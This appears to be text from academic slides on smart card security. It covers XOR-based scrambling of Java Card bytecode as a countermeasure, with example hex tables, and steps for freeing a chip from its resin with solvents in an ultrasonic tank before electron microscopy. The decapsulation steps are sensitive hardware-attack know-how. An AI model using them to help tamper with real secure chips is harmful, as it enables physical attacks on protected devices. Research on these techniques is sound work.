- 4 journal articles and 1 in the reviewing process;
- 3 invited conferences;
- 10 articles in international conferences with review and proceedings;
- 4 articles in national conferences with review and proceedings;
- 1 articles in national conferences with review and without proceeding;
- 1 posters.
Scrambling the memory

\[ ins_{hidden} = ins \oplus K_{bytecode} \]

\[ ins_{hidden} = ins \oplus K_{bytecode} \oplus JPC \]


[Razafindralambo et al., SNDS 2012]
Scrambling the memory

\[ \text{ins}_{\text{hidden}} = \text{ins} \oplus K_{\text{bytecode}} \]

\[ \text{ins}_{\text{hidden}} = \text{ins} \oplus K_{\text{bytecode}} \oplus JPC \]  

0x8068: 0x00 nop  
0x8069: 0x02 sconst_1  
0x806A: 0x02 sconst_1  
0x806B: 0x3C pop2  
0x806C: 0x04 sconst_1  
0x806D: 0x3B pop

Original code

0x8068: 0x42 nop  
0x8069: 0x40 sconst_1  
0x806A: 0x40 sconst_1  
0x806B: 0x7E pop2  
0x806C: 0x46 sconst_1  
0x806D: 0x79 pop


\[ K_{\text{bytecode}} = 0x42 \]
Scrambling the memory

\[ ins_{\text{hidden}} = ins \oplus K_{\text{bytecode}} \]

\[ ins_{\text{hidden}} = ins \oplus K_{\text{bytecode}} \oplus JPC \]


[Razafindralambo et al., SNDS 2012]

0x8068: 0x42 nop
0x8069: 0x40 sconst_1
0x806A: 0x40 sconst_1
0x806B: 0x7E pop2
0x806C: 0x46 sconst_1
0x806D: 0x79 pop

\[ K_{\text{bytecode}} = 0x42 \]

0x8068: 0x2A nop
0x8069: 0x29 sconst_1
0x806A: 0x2A sconst_1
0x806B: 0x15 pop2
0x806C: 0x2D sconst_1
0x806D: 0x12 pop

[Razafindralambo et al., SNDS 2012] with \[ K_{\text{bytecode}} = 0x42 \]
Chip Extraction

Acetone solution in a ultrasonic tank.
How to remove the resin?

Solution to extract:
- Oxygenated water or
- 50/50 vol/vol methanol/chloroform

*Simmer during 3 hours in a ultrasonic tank.*
Chips Analysed with a Scanning Electron Microscope